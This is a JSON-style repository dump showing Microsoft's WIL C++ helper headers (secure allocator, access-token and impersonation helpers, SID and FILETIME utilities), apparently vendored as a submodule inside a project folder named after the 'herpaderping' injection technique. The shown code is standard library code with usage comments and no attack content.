T* allocate(size_t n)\n {\n return std::allocator::allocate(n);\n }\n\n void deallocate(T* p, size_t n)\n {\n SecureZeroMemory(p, sizeof(T) * n);\n std::allocator::deallocate(p, n);\n }\n };\n\n //! `wil::secure_vector` will be securely zeroed before deallocation.\n template \n using secure_vector = std::vector>;\n //! `wil::secure_wstring` will be securely zeroed before deallocation.\n using secure_wstring = std::basic_string, wil::secure_allocator>;\n //! `wil::secure_string` will be securely zeroed before deallocation.\n using secure_string = std::basic_string, wil::secure_allocator>;\n\n /// @cond\n namespace details\n {\n template<> struct string_maker\n {\n HRESULT make(_In_reads_opt_(length) PCWSTR source, size_t length) WI_NOEXCEPT try\n {\n m_value = source ? std::wstring(source, length) : std::wstring(length, L'\\0');\n return S_OK;\n }\n catch (...)\n {\n return E_OUTOFMEMORY;\n }\n\n wchar_t* buffer() { return &m_value[0]; }\n\n HRESULT trim_at_existing_null(size_t length) { m_value.erase(length); return S_OK; }\n\n std::wstring release() { return std::wstring(std::move(m_value)); }\n\n static PCWSTR get(const std::wstring& value) { return value.c_str(); }\n\n private:\n std::wstring m_value;\n };\n }\n /// @endcond\n\n // str_raw_ptr is an overloaded function that retrieves a const pointer to the first character in a string's buffer.\n // This is the overload for std::wstring. Other overloads available in resource.h.\n inline PCWSTR str_raw_ptr(const std::wstring& str)\n {\n return str.c_str();\n }\n\n} // namespace wil\n\n#endif // WIL_ENABLE_EXCEPTIONS\n\n#endif // __WIL_STL_INCLUDED\n" }, { "path": "Inject/herpaderping-main/ext/submodules/wil/token_helpers.h", "content": "//*********************************************************\n//\n// Copyright (c) Microsoft. All rights reserved.\n// This code is licensed under the MIT License.\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF\n// ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED\n// TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\n// PARTICULAR PURPOSE AND NONINFRINGEMENT.\n//\n//*********************************************************\n#ifndef __WIL_TOKEN_HELPERS_INCLUDED\n#define __WIL_TOKEN_HELPERS_INCLUDED\n\n#ifdef _KERNEL_MODE\n#error This header is not supported in kernel-mode.\n#endif\n\n#include \"resource.h\"\n#include \n#include // for UNLEN and DNLEN\n#include \n\n// for GetUserNameEx()\n#define SECURITY_WIN32\n#include \n\nnamespace wil\n{\n /// @cond\n namespace details\n {\n // Template specialization for TOKEN_INFORMATION_CLASS, add more mappings here as needed\n // TODO: The mapping should be reversed to be MapTokenInfoClassToStruct since there may\n // be an info class value that uses the same structure. That is the case for the file\n // system information.\n template struct MapTokenStructToInfoClass;\n template<> struct MapTokenStructToInfoClass { static const TOKEN_INFORMATION_CLASS infoClass = TokenAccessInformation; static const bool FixedSize = false; };\n template<> struct MapTokenStructToInfoClass { static const TOKEN_INFORMATION_CLASS infoClass = TokenAppContainerSid; static const bool FixedSize = false; };\n template<> struct MapTokenStructToInfoClass { static const TOKEN_INFORMATION_CLASS infoClass = TokenDefaultDacl; static const bool FixedSize = false; };\n template<> struct MapTokenStructToInfoClass { static const TOKEN_INFORMATION_CLASS infoClass = TokenGroupsAndPrivileges; static const bool FixedSize = false; };\n template<> struct MapTokenStructToInfoClass { static const TOKEN_INFORMATION_CLASS infoClass = TokenIntegrityLevel; static const bool FixedSize = false; };\n template<> struct MapTokenStructToInfoClass { static const TOKEN_INFORMATION_CLASS infoClass = TokenOwner; static const bool FixedSize = false; };\n template<> struct MapTokenStructToInfoClass { static const TOKEN_INFORMATION_CLASS infoClass = TokenPrimaryGroup; static const bool FixedSize = false; };\n template<> struct MapTokenStructToInfoClass { static const TOKEN_INFORMATION_CLASS infoClass = TokenPrivileges; static const bool FixedSize = false; };\n template<> struct MapTokenStructToInfoClass { static const TOKEN_INFORMATION_CLASS infoClass = TokenUser; static const bool FixedSize = false; };\n\n // fixed size cases\n template<> struct MapTokenStructToInfoClass { static const TOKEN_INFORMATION_CLASS infoClass = TokenElevationType; static const bool FixedSize = true; };\n template<> struct MapTokenStructToInfoClass { static const TOKEN_INFORMATION_CLASS infoClass = TokenMandatoryPolicy; static const bool FixedSize = true; };\n template<> struct MapTokenStructToInfoClass { static const TOKEN_INFORMATION_CLASS infoClass = TokenOrigin; static const bool FixedSize = true; };\n template<> struct MapTokenStructToInfoClass { static const TOKEN_INFORMATION_CLASS infoClass = TokenSource; static const bool FixedSize = true; };\n template<> struct MapTokenStructToInfoClass { static const TOKEN_INFORMATION_CLASS infoClass = TokenStatistics; static const bool FixedSize = true; };\n template<> struct MapTokenStructToInfoClass { static const TOKEN_INFORMATION_CLASS infoClass = TokenType; static const bool FixedSize = true; };\n template<> struct MapTokenStructToInfoClass { static const TOKEN_INFORMATION_CLASS infoClass = TokenImpersonationLevel; static const bool FixedSize = true; };\n template<> struct MapTokenStructToInfoClass { static const TOKEN_INFORMATION_CLASS infoClass = TokenElevation; static const bool FixedSize = true; };\n }\n /// @endcond\n\n enum class OpenThreadTokenAs\n {\n Current,\n Self\n };\n\n /** Open the active token.\n Opens either the current thread token (if impersonating) or the current process token. Returns a token the caller\n can use with methods like get_token_information<> below. By default, the token is opened for TOKEN_QUERY and as the\n effective user.\n\n Consider using GetCurrentThreadEffectiveToken() instead of this method when eventually calling get_token_information.\n This method returns a real handle to the effective token, but GetCurrentThreadEffectiveToken() is a Pseudo-handle\n and much easier to manage.\n ~~~~\n wil::unique_handle theToken;\n RETURN_IF_FAILED(wil::open_current_access_token_nothrow(&theToken));\n ~~~~\n Callers who want more access to the token (such as to duplicate or modify the token) can pass\n any mask of the token rights.\n ~~~~\n wil::unique_handle theToken;\n RETURN_IF_FAILED(wil::open_current_access_token_nothrow(&theToken, TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES));\n ~~~~\n Services impersonating their clients may need to request that the active token is opened on the\n behalf of the service process to perform certain operations. Opening a token for impersonation access\n or privilege-adjustment are examples of uses.\n ~~~~\n wil::unique_handle callerToken;\n RETURN_IF_FAILED(wil::open_current_access_token_nothrow(&theToken, TOKEN_QUERY | TOKEN_IMPERSONATE, true));\n ~~~~\n @param tokenHandle Receives the token opened during the operation. Must be CloseHandle'd by the caller, or\n (preferably) stored in a wil::unique_handle\n @param access Bits from the TOKEN_* access mask which are passed to OpenThreadToken/OpenProcessToken\n @param asSelf When true, and if the thread is impersonating, the thread token is opened using the\n process token's rights.\n */\n inline HRESULT open_current_access_token_nothrow(_Out_ HANDLE* tokenHandle, unsigned long access = TOKEN_QUERY, OpenThreadTokenAs openAs = OpenThreadTokenAs::Current)\n {\n HRESULT hr = (OpenThreadToken(GetCurrentThread(), access, (openAs == OpenThreadTokenAs::Self), tokenHandle) ? S_OK : HRESULT_FROM_WIN32(::GetLastError()));\n if (hr == HRESULT_FROM_WIN32(ERROR_NO_TOKEN))\n {\n hr = (OpenProcessToken(GetCurrentProcess(), access, tokenHandle) ? S_OK : HRESULT_FROM_WIN32(::GetLastError()));\n }\n return hr;\n }\n\n //! Current thread or process token, consider using GetCurrentThreadEffectiveToken() instead.\n inline wil::unique_handle open_current_access_token_failfast(unsigned long access = TOKEN_QUERY, OpenThreadTokenAs openAs = OpenThreadTokenAs::Current)\n {\n HANDLE rawTokenHandle;\n FAIL_FAST_IF_FAILED(open_current_access_token_nothrow(&rawTokenHandle, access, openAs));\n return wil::unique_handle(rawTokenHandle);\n }\n\n// Exception based function to open current thread/process access token and acquire pointer to it\n#ifdef WIL_ENABLE_EXCEPTIONS\n //! Current thread or process token, consider using GetCurrentThreadEffectiveToken() instead.\n inline wil::unique_handle open_current_access_token(unsigned long access = TOKEN_QUERY, OpenThreadTokenAs openAs = OpenThreadTokenAs::Current)\n {\n HANDLE rawTokenHandle;\n THROW_IF_FAILED(open_current_access_token_nothrow(&rawTokenHandle, access, openAs));\n return wil::unique_handle(rawTokenHandle);\n }\n#endif // WIL_ENABLE_EXCEPTIONS\n\n#if (_WIN32_WINNT >= _WIN32_WINNT_WIN8)\n // Returns tokenHandle or the effective thread token if tokenHandle is null.\n // Note, this returns an token handle who's lifetime is managed independently\n // and it may be a pseudo token, don't free it!\n inline HANDLE GetCurrentThreadEffectiveTokenWithOverride(HANDLE tokenHandle)\n {\n return tokenHandle ? tokenHandle : GetCurrentThreadEffectiveToken();\n }\n\n /** Fetches information about a token.\n See GetTokenInformation on MSDN for what this method can return. For variable sized structs the information\n is returned to the caller as a wistd::unique_ptr (like TOKEN_ORIGIN, TOKEN_USER, TOKEN_ELEVATION, etc.). For\n fixed sized, the struct is returned directly.\n The caller must have access to read the information from the provided token. This method works with both real\n (e.g. OpenCurrentAccessToken) and pseudo (e.g. GetCurrentThreadToken) token handles.\n ~~~~\n // Retrieve the TOKEN_USER structure for the current process\n wistd::unique_ptr user;\n RETURN_IF_FAILED(wil::get_token_information_nothrow(user, GetCurrentProcessToken()));\n RETURN_IF_FAILED(ConsumeSid(user->User.Sid));\n ~~~~\n Not specifying the token handle is the same as specifying 'nullptr' and retrieves information about the effective token.\n ~~~~\n wistd::unique_ptr privileges;\n RETURN_IF_FAILED(wil::get_token_information_nothrow(privileges));\n for (auto const& privilege : wil::GetRange(privileges->Privileges, privileges->PrivilegeCount))\n {\n RETURN_IF_FAILED(ConsumePrivilege(privilege));\n }\n ~~~~\n @param tokenInfo Receives a pointer to a structure containing the results of GetTokenInformation for the requested\n type. The type of selects which TOKEN_INFORMATION_CLASS will be used.\n @param tokenHandle Specifies which token will be queried. When nullptr, the thread's effective current token is used.\n @return S_OK on success, a FAILED hresult containing the win32 error from querying the token otherwise.\n */\n\n template ::FixedSize>* = nullptr>\n inline HRESULT get_token_information_nothrow(wistd::unique_ptr& tokenInfo, HANDLE tokenHandle = nullptr)\n {\n tokenInfo.reset();\n tokenHandle = GetCurrentThreadEffectiveTokenWithOverride(tokenHandle);\n\n DWORD tokenInfoSize = 0;\n const auto infoClass = details::MapTokenStructToInfoClass::infoClass;\n RETURN_LAST_ERROR_IF(!((!GetTokenInformation(tokenHandle, infoClass, nullptr, 0, &tokenInfoSize)) &&\n (::GetLastError() == ERROR_INSUFFICIENT_BUFFER)));\n wistd::unique_ptr tokenInfoClose(\n static_cast(operator new(tokenInfoSize, std::nothrow)));\n RETURN_IF_NULL_ALLOC(tokenInfoClose.get());\n RETURN_IF_WIN32_BOOL_FALSE(GetTokenInformation(tokenHandle, infoClass, tokenInfoClose.get(), tokenInfoSize, &tokenInfoSize));\n tokenInfo.reset(reinterpret_cast(tokenInfoClose.release()));\n\n return S_OK;\n }\n\n template ::FixedSize>* = nullptr>\n inline HRESULT get_token_information_nothrow(_Out_ T* tokenInfo, HANDLE tokenHandle = nullptr)\n {\n *tokenInfo = {};\n tokenHandle = GetCurrentThreadEffectiveTokenWithOverride(tokenHandle);\n\n DWORD tokenInfoSize = sizeof(T);\n const auto infoClass = details::MapTokenStructToInfoClass::infoClass;\n RETURN_IF_WIN32_BOOL_FALSE(GetTokenInformation(tokenHandle, infoClass, tokenInfo, tokenInfoSize, &tokenInfoSize));\n\n return S_OK;\n }\n\n namespace details\n {\n template::FixedSize>* = nullptr>\n wistd::unique_ptr GetTokenInfoWrap(HANDLE token = nullptr)\n {\n wistd::unique_ptr temp;\n policy::HResult(get_token_information_nothrow(temp, token));\n return temp;\n }\n\n template::FixedSize>* = nullptr>\n T GetTokenInfoWrap(HANDLE token = nullptr)\n {\n T temp{};\n policy::HResult(get_token_information_nothrow(&temp, token));\n return temp;\n }\n }\n\n //! A variant of get_token_information that fails-fast on errors retrieving the token\n template \n inline auto get_token_information_failfast(HANDLE token = nullptr)\n {\n return details::GetTokenInfoWrap(token);\n }\n\n //! Overload of GetTokenInformationNoThrow that retrieves a token linked from the provided token\n inline HRESULT get_token_information_nothrow(unique_token_linked_token& tokenInfo, HANDLE tokenHandle = nullptr)\n {\n static_assert(sizeof(tokenInfo) == sizeof(TOKEN_LINKED_TOKEN), \"confusing size mismatch\");\n tokenHandle = GetCurrentThreadEffectiveTokenWithOverride(tokenHandle);\n\n DWORD tokenInfoSize = 0;\n RETURN_IF_WIN32_BOOL_FALSE(::GetTokenInformation(tokenHandle, TokenLinkedToken,\n tokenInfo.reset_and_addressof(), sizeof(tokenInfo), &tokenInfoSize));\n return S_OK;\n }\n\n /** Retrieves the linked-token information for a token.\n Fails-fast if the link information cannot be retrieved.\n ~~~~\n auto link = get_linked_token_information_failfast(GetCurrentThreadToken());\n auto tokenUser = get_token_information(link.LinkedToken);\n ~~~~\n @param token Specifies the token to query. Pass nullptr to use the current effective thread token\n @return unique_token_linked_token containing a handle to the linked token\n */\n inline unique_token_linked_token get_linked_token_information_failfast(HANDLE token = nullptr)\n {\n unique_token_linked_token tokenInfo;\n FAIL_FAST_IF_FAILED(get_token_information_nothrow(tokenInfo, token));\n return tokenInfo;\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n /** Fetches information about a token.\n See get_token_information_nothrow for full details.\n ~~~~\n auto user = wil::get_token_information(GetCurrentProcessToken());\n ConsumeSid(user->User.Sid);\n ~~~~\n Pass 'nullptr' (or omit the parameter) as tokenHandle to retrieve information about the effective token.\n ~~~~\n auto privs = wil::get_token_information(privileges);\n for (auto& priv : wil::make_range(privs->Privileges, privs->Privilieges + privs->PrivilegeCount))\n {\n if (priv.Attributes & SE_PRIVILEGE_ENABLED)\n {\n // ...\n }\n }\n ~~~~\n @return A pointer to a structure containing the results of GetTokenInformation for the requested type. The type of\n selects which TOKEN_INFORMATION_CLASS will be used.\n @param token Specifies which token will be queried. When nullptr or not set, the thread's effective current token is used.\n */\n template \n inline auto get_token_information(HANDLE token = nullptr)\n {\n return details::GetTokenInfoWrap(token);\n }\n\n /** Retrieves the linked-token information for a token.\n Throws an exception if the link information cannot be retrieved.\n ~~~~\n auto link = get_linked_token_information(GetCurrentThreadToken());\n auto tokenUser = get_token_information(link.LinkedToken);\n ~~~~\n @param token Specifies the token to query. Pass nullptr to use the current effective thread token\n @return unique_token_linked_token containing a handle to the linked token\n */\n inline unique_token_linked_token get_linked_token_information(HANDLE token = nullptr)\n {\n unique_token_linked_token tokenInfo;\n THROW_IF_FAILED(get_token_information_nothrow(tokenInfo, token));\n return tokenInfo;\n }\n#endif\n#endif // _WIN32_WINNT >= _WIN32_WINNT_WIN8\n\n /// @cond\n namespace details\n {\n inline void RevertImpersonateToken(_Pre_opt_valid_ _Frees_ptr_opt_ HANDLE oldToken)\n {\n FAIL_FAST_IMMEDIATE_IF(!::SetThreadToken(nullptr, oldToken));\n\n if (oldToken)\n {\n ::CloseHandle(oldToken);\n }\n }\n }\n /// @endcond\n\n using unique_token_reverter = wil::unique_any<\n HANDLE,\n decltype(&details::RevertImpersonateToken),\n details::RevertImpersonateToken,\n details::pointer_access_none,\n HANDLE,\n INT_PTR,\n -1,\n HANDLE>;\n\n /** Temporarily impersonates a token on this thread.\n This method sets a new token on a thread, restoring the current token when the returned object\n is destroyed. Useful for impersonating other tokens or running as 'self,' especially in services.\n ~~~~\n HRESULT OpenFileAsSessionuser(PCWSTR filePath, DWORD session, _Out_ HANDLE* opened)\n {\n wil::unique_handle userToken;\n RETURN_IF_WIN32_BOOL_FALSE(QueryUserToken(session, &userToken));\n\n wil::unique_token_reverter reverter;\n RETURN_IF_FAILED(wil::impersonate_token_nothrow(userToken.get(), reverter));\n\n wil::unique_hfile userFile(::CreateFile(filePath, ...));\n RETURN_LAST_ERROR_IF(!userFile && (::GetLastError() != ERROR_FILE_NOT_FOUND));\n\n *opened = userFile.release();\n return S_OK;\n }\n ~~~~\n @param token A token to impersonate, or 'nullptr' to run as the process identity.\n */\n inline HRESULT impersonate_token_nothrow(HANDLE token, unique_token_reverter& reverter)\n {\n wil::unique_handle currentToken;\n\n // Get the token for the current thread. If there wasn't one, the reset will clear it as well\n if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, ¤tToken))\n {\n RETURN_LAST_ERROR_IF(::GetLastError() != ERROR_NO_TOKEN);\n }\n\n // Update the current token\n RETURN_IF_WIN32_BOOL_FALSE(::SetThreadToken(nullptr, token));\n\n reverter.reset(currentToken.release()); // Ownership passed\n return S_OK;\n }\n\n /** Temporarily clears any impersonation on this thread.\n This method resets the current thread's token to nullptr, indicating that it is not impersonating\n any user. Useful for elevating to whatever identity a service or higher-privilege process might\n be capable of running under.\n ~~~~\n HRESULT DeleteFileRetryAsSelf(PCWSTR filePath)\n {\n if (!::DeleteFile(filePath))\n {\n RETURN_LAST_ERROR_IF(::GetLastError() != ERROR_ACCESS_DENIED);\n wil::unique_token_reverter reverter;\n RETURN_IF_FAILED(wil::run_as_self_nothrow(reverter));\n RETURN_IF_FAILED(TakeOwnershipOfFile(filePath));\n RETURN_IF_FAILED(GrantDeleteAccess(filePath));\n RETURN_IF_WIN32_BOOL_FALSE(::DeleteFile(filePath));\n }\n return S_OK;\n }\n ~~~~\n */\n inline HRESULT run_as_self_nothrow(unique_token_reverter& reverter)\n {\n return impersonate_token_nothrow(nullptr, reverter);\n }\n\n inline unique_token_reverter impersonate_token_failfast(HANDLE token)\n {\n unique_token_reverter oldToken;\n FAIL_FAST_IF_FAILED(impersonate_token_nothrow(token, oldToken));\n return oldToken;\n }\n\n inline unique_token_reverter run_as_self_failfast()\n {\n return impersonate_token_failfast(nullptr);\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n /** Temporarily impersonates a token on this thread.\n This method sets a new token on a thread, restoring the current token when the returned object\n is destroyed. Useful for impersonating other tokens or running as 'self,' especially in services.\n ~~~~\n wil::unique_hfile OpenFileAsSessionuser(_In_z_ const wchar_t* filePath, DWORD session)\n {\n wil::unique_handle userToken;\n THROW_IF_WIN32_BOOL_FALSE(QueryUserToken(session, &userToken));\n\n auto priorToken = wil::impersonate_token(userToken.get());\n\n wil::unique_hfile userFile(::CreateFile(filePath, ...));\n THROW_LAST_ERROR_IF(::GetLastError() != ERROR_FILE_NOT_FOUND);\n\n return userFile;\n }\n ~~~~\n @param token A token to impersonate, or 'nullptr' to run as the process identity.\n */\n inline unique_token_reverter impersonate_token(HANDLE token = nullptr)\n {\n unique_token_reverter oldToken;\n THROW_IF_FAILED(impersonate_token_nothrow(token, oldToken));\n return oldToken;\n }\n\n /** Temporarily clears any impersonation on this thread.\n This method resets the current thread's token to nullptr, indicating that it is not impersonating\n any user. Useful for elevating to whatever identity a service or higher-privilege process might\n be capable of running under.\n ~~~~\n void DeleteFileRetryAsSelf(_In_z_ const wchar_t* filePath)\n {\n if (!::DeleteFile(filePath) && (::GetLastError() == ERROR_ACCESS_DENIED))\n {\n auto priorToken = wil::run_as_self();\n TakeOwnershipOfFile(filePath);\n GrantDeleteAccess(filePath);\n ::DeleteFile(filePath);\n }\n }\n ~~~~\n */\n inline unique_token_reverter run_as_self()\n {\n return impersonate_token(nullptr);\n }\n#endif // WIL_ENABLE_EXCEPTIONS\n\n namespace details\n {\n template struct static_sid_t\n {\n BYTE Revision;\n BYTE SubAuthorityCount;\n SID_IDENTIFIER_AUTHORITY IdentifierAuthority;\n DWORD SubAuthority[AuthorityCount];\n\n PSID get()\n {\n return reinterpret_cast(this);\n }\n\n template static_sid_t& operator=(const static_sid_t& source)\n {\n static_assert(other <= AuthorityCount, \"Cannot assign from a larger static sid to a smaller one\");\n\n if (&this->Revision != &source.Revision)\n {\n memcpy(this, &source, sizeof(source));\n }\n\n return *this;\n }\n };\n }\n\n /** Returns a structure containing a Revision 1 SID initialized with the authorities provided\n Replaces AllocateAndInitializeSid by constructing a structure laid out like a PSID, but\n returned like a value. The resulting object is suitable for use with any method taking PSID,\n passed by \"&the_sid\" or via \"the_sid.get()\"\n ~~~~\n // Change the owner of the key to administrators\n auto systemSid = wil::make_static_sid(SECURITY_NT_AUTHORITY, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS);\n RETURN_IF_WIN32_ERROR(SetNamedSecurityInfo(keyPath, SE_REGISTRY_KEY, OWNER_SECURITY_INFORMATION, &systemSid, nullptr, nullptr, nullptr));\n ~~~~\n */\n template constexpr auto make_static_sid(const SID_IDENTIFIER_AUTHORITY& authority, Ts&&... subAuthorities)\n {\n using sid_t = details::static_sid_t;\n\n static_assert(sizeof...(subAuthorities) <= SID_MAX_SUB_AUTHORITIES, \"too many sub authorities\");\n static_assert(offsetof(sid_t, Revision) == offsetof(_SID, Revision), \"layout mismatch\");\n static_assert(offsetof(sid_t, SubAuthorityCount) == offsetof(_SID, SubAuthorityCount), \"layout mismatch\");\n static_assert(offsetof(sid_t, IdentifierAuthority) == offsetof(_SID, IdentifierAuthority), \"layout mismatch\");\n static_assert(offsetof(sid_t, SubAuthority) == offsetof(_SID, SubAuthority), \"layout mismatch\");\n\n return sid_t { SID_REVISION, sizeof...(subAuthorities), authority, { static_cast(subAuthorities)... } };\n }\n\n //! Variant of static_sid that defaults to the NT authority\n template constexpr auto make_static_nt_sid(Ts&& ... subAuthorities)\n {\n return make_static_sid(SECURITY_NT_AUTHORITY, wistd::forward(subAuthorities)...);\n }\n\n /** Determines whether a specified security identifier (SID) is enabled in an access token.\n This function determines whether a security identifier, described by a given set of subauthorities, is enabled\n in the given access token. Note that only up to eight subauthorities can be passed to this function.\n ~~~~\n bool IsGuest()\n {\n return wil::test_token_membership(nullptr, SECURITY_NT_AUTHORITY, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_GUESTS));\n }\n ~~~~\n @param result This will be set to true if and only if a security identifier described by the given set of subauthorities is enabled in the given access token.\n @param token A handle to an access token. The handle must have TOKEN_QUERY access to the token, and must be an impersonation token. If token is nullptr, test_token_membership\n uses the impersonation token of the calling thread. If the thread is not impersonating, the function duplicates the thread's primary token to create an impersonation token.\n @param sidAuthority A reference to a SID_IDENTIFIER_AUTHORITY structure. This structure provides the top-level identifier authority value to set in the SID.\n @param subAuthorities Up to 15 subauthority values to place in the SID (this is a systemwide limit)\n @return S_OK on success, a FAILED hresult containing the win32 error from creating the SID or querying the token otherwise.\n */\n template HRESULT test_token_membership_nothrow(_Out_ bool* result, _In_opt_ HANDLE token,\n const SID_IDENTIFIER_AUTHORITY& sidAuthority, Ts&&... subAuthorities)\n {\n *result = false;\n auto tempSid = make_static_sid(sidAuthority, wistd::forward(subAuthorities)...);\n BOOL isMember;\n RETURN_IF_WIN32_BOOL_FALSE(CheckTokenMembership(token, &tempSid, &isMember));\n\n *result = (isMember != FALSE);\n\n return S_OK;\n }\n\n#if (_WIN32_WINNT >= _WIN32_WINNT_WIN8)\n /** Determine whether a token represents an app container\n This method uses the passed in token and emits a boolean indicating that\n whether TokenIsAppContainer is true.\n ~~~~\n HRESULT OnlyIfAppContainer()\n {\n bool isAppContainer;\n RETURN_IF_FAILED(wil::get_token_is_app_container_nothrow(nullptr, isAppContainer));\n RETURN_HR_IF(E_ACCESSDENIED, !isAppContainer);\n RETURN_HR(...);\n }\n ~~~~\n @param token A token to get info about, or 'nullptr' to run as the current thread.\n */\n inline HRESULT get_token_is_app_container_nothrow(_In_opt_ HANDLE token, bool& value)\n {\n DWORD isAppContainer = 0;\n DWORD returnLength = 0;\n RETURN_IF_WIN32_BOOL_FALSE(::GetTokenInformation(\n token ? token : GetCurrentThreadEffectiveToken(),\n TokenIsAppContainer,\n &isAppContainer,\n sizeof(isAppContainer),\n &returnLength));\n\n value = (isAppContainer != 0);\n\n return S_OK;\n }\n\n //! A variant of get_token_is_app_container_nothrow that fails-fast on errors retrieving the token information\n inline bool get_token_is_app_container_failfast(HANDLE token = nullptr)\n {\n bool value = false;\n FAIL_FAST_IF_FAILED(get_token_is_app_container_nothrow(token, value));\n\n return value;\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n //! A variant of get_token_is_app_container_nothrow that throws on errors retrieving the token information\n inline bool get_token_is_app_container(HANDLE token = nullptr)\n {\n bool value = false;\n THROW_IF_FAILED(get_token_is_app_container_nothrow(token, value));\n\n return value;\n }\n#endif // WIL_ENABLE_EXCEPTIONS\n#endif // _WIN32_WINNT >= _WIN32_WINNT_WIN8\n\n template bool test_token_membership_failfast(_In_opt_ HANDLE token,\n const SID_IDENTIFIER_AUTHORITY& sidAuthority, Ts&&... subAuthorities)\n {\n bool result;\n FAIL_FAST_IF_FAILED(test_token_membership_nothrow(&result, token, sidAuthority, wistd::forward(subAuthorities)...));\n return result;\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n template bool test_token_membership(_In_opt_ HANDLE token, const SID_IDENTIFIER_AUTHORITY& sidAuthority,\n Ts&&... subAuthorities)\n {\n bool result;\n THROW_IF_FAILED(test_token_membership_nothrow(&result, token, sidAuthority, wistd::forward(subAuthorities)...));\n return result;\n }\n#endif\n\n} //namespace wil\n\n#endif // __WIL_TOKEN_HELPERS_INCLUDED\n" }, { "path": "Inject/herpaderping-main/ext/submodules/wil/win32_helpers.h", "content": "//*********************************************************\n//\n// Copyright (c) Microsoft. All rights reserved.\n// This code is licensed under the MIT License.\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF\n// ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED\n// TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\n// PARTICULAR PURPOSE AND NONINFRINGEMENT.\n//\n//*********************************************************\n#ifndef __WIL_WIN32_HELPERS_INCLUDED\n#define __WIL_WIN32_HELPERS_INCLUDED\n\n#include // FILETIME, HINSTANCE\n#include // GetSystemTimeAsFileTime\n#include // GetProcAddress\n#include // GetModuleFileNameExW (macro), K32GetModuleFileNameExW\n#include \n#include \n\n#include \"result.h\"\n#include \"resource.h\"\n#include \"wistd_functional.h\"\n#include \"wistd_type_traits.h\"\n\nnamespace wil\n{\n //! Strictly a function of the file system but this is the value for all known file system, NTFS, FAT.\n //! CDFs has a limit of 254.\n size_t const max_path_segment_length = 255;\n\n //! Character length not including the null, MAX_PATH (260) includes the null.\n size_t const max_path_length = 259;\n\n //! 32743 Character length not including the null. This is a system defined limit.\n //! The 24 is for the expansion of the roots from \"C:\" to \"\\Device\\HarddiskVolume4\"\n //! It will be 25 when there are more than 9 disks.\n size_t const max_extended_path_length = 0x7FFF - 24;\n\n //! For {guid} string form. Includes space for the null terminator.\n size_t const guid_string_buffer_length = 39;\n\n //! For {guid} string form. Not including the null terminator.\n size_t const guid_string_length = 38;\n\n#pragma region FILETIME helpers\n // FILETIME duration values. FILETIME is in 100 nanosecond units.\n namespace filetime_duration\n {\n long long const one_millisecond = 10000LL;\n long long const one_second = 10000000LL;\n long long const one_minute = 10000000LL * 60; // 600000000 or 600000000LL\n long long const one_hour = 10000000LL * 60 * 60; // 36000000000 or 36000000000LL\n long long const one_day = 10000000LL * 60 * 60 * 24; // 864000000000 or 864000000000LL\n };\n\n namespace filetime\n {\n constexpr unsigned long long to_int64(const FILETIME &ft)\n {\n // Cannot reinterpret_cast FILETIME* to unsigned long long*\n // due to alignment differences.\n return (static_cast(ft.dwHighDateTime) << 32) + ft.dwLowDateTime;\n }\n\n inline FILETIME from_int64(unsigned long long i64)\n {\n static_assert(sizeof(i64) == sizeof(FILETIME), \"sizes don't match\");\n static_assert(__alignof(unsigned long long) >= __alignof(FILETIME), \"alignment not compatible with type pun\");\n return *reinterpret_cast(&i64);\n }\n\n inline FILETIME add(_In_ FILETIME const &ft, long long delta100ns)\n {\n return from_int64(to_int64(ft) + delta100ns);\n }\n\n constexpr bool is_empty(const FILETIME &ft)\n {\n return (ft.dwHighDateTime == 0) && (ft.dwLowDateTime == 0);\n }\n\n inline FILETIME get_system_time()\n {\n FILETIME ft;\n GetSystemTimeAsFileTime(&ft);\n return ft;\n }\n\n /// Convert time as units of 100 nanoseconds to milliseconds. Fractional milliseconds are truncated.\n constexpr unsigned long long convert_100ns_to_msec(unsigned long long time100ns)\n {\n return time100ns / filetime_duration::one_millisecond;\n }\n\n /// Convert time as milliseconds to units of 100 nanoseconds.\n constexpr unsigned long long convert_msec_to_100ns(unsigned long long timeMsec)\n {\n return timeMsec * filetime_duration::one_millisecond;\n }\n\n#if defined(_APISETREALTIME_)\n /// Returns the current unbiased interrupt-time count, in units of 100 nanoseconds. The unbiased interrupt-time count does not include time the system spends in sleep or hibernation.\n ///\n /// This API avoids prematurely shortcircuiting timing loops due to system sleep/hibernation.\n ///\n /// This is equivalent to GetTickCount64() except it returns units of 100 nanoseconds instead of milliseconds, and it doesn't include time the system spends in sleep or hibernation.\n /// For example\n ///\n /// start = GetTickCount64();\n /// hibernate();\n /// ...wake from hibernation 30 minutes later...;\n /// elapsed = GetTickCount64() - start;\n /// // elapsed = 30min\n ///\n /// Do the same using unbiased interrupt-time and elapsed is 0 (or nearly so).\n ///\n /// @note This is identical to QueryUnbiasedInterruptTime() but returns the value as a return value (rather than an out parameter).\n /// @see https://msdn.microsoft.com/en-us/library/windows/desktop/ee662307(v=vs.85).aspx\n inline unsigned long long QueryUnbiasedInterruptTimeAs100ns()\n {\n ULONGLONG now{};\n QueryUnbiasedInterruptTime(&now);\n return now;\n }\n\n /// Returns the current unbiased interrupt-time count, in units of milliseconds. The unbiased interrupt-time count does not include time the system spends in sleep or hibernation.\n /// @see QueryUnbiasedInterruptTimeAs100ns\n inline unsigned long long QueryUnbiasedInterruptTimeAsMSec()\n {\n return convert_100ns_to_msec(QueryUnbiasedInterruptTimeAs100ns());\n }\n#endif // _APISETREALTIME_\n }\n#pragma endregion\n\n // Use to adapt Win32 APIs that take a fixed size buffer into forms that return\n // an allocated buffer. Supports many types of string representation.\n // See comments below on the expected behavior of the callback.\n // Adjust stackBufferLength based on typical result sizes to optimize use and\n // to test the boundary cases.\n template \n HRESULT AdaptFixedSizeToAllocatedResult(string_type& result, wistd::function callback)\n {\n details::string_maker maker;\n\n wchar_t value[stackBufferLength];\n 